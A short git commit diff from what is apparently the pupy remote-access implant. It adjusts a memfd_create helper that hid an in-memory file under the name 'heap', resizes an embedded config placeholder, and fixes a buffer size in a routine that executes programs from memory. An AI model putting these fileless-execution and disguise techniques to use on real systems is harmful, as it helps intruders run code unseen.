This commit is contained in:
Oleksii Shevchuk 2017-04-05 10:58:06 +03:00
parent 2e8e216c0c
commit b1f285ef84
3 changed files with 5 additions and 12 deletions

View File

@ -30,18 +30,11 @@
inline static int pupy_memfd_create(char *path, unsigned int path_size)
{
#ifndef DEBUG
static const char heap[] = "heap";
memset(path, 0x0, path_size);
strncpy(path, "heap", path_size);
#endif
int fd = syscall(
__NR_memfd_create,
#ifdef DEBUG
path,
#else
heap,
#endif
MFD_CLOEXEC | MFD_ALLOW_SEALING
);
int fd = syscall(__NR_memfd_create, path, MFD_CLOEXEC | MFD_ALLOW_SEALING);
if (fd == -1) {
return -1;

View File

@ -22,7 +22,7 @@ int linux_inject_main(int argc, char **argv);
static const char module_doc[] = "Builtins utilities for pupy";
static const char pupy_config[32764]="####---PUPY_CONFIG_COMES_HERE---####\n";
static const char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n";
static PyObject *ExecError;

View File

@ -172,7 +172,7 @@ pid_t memexec(const char *buffer, size_t size, const char* const* argv, int stdi
dprint("memexec(%p, %ull, %d)\n", buffer, size, redirected_stdio);
char buf[PATH_MAX]={};
int fd = drop_library(buf, PATH_MAX, buffer, size);
int fd = drop_library(buf, sizeof(buf), buffer, size);
if (fd < 0) {
dprint("Couldn't drop executable: %m\n");
return -1;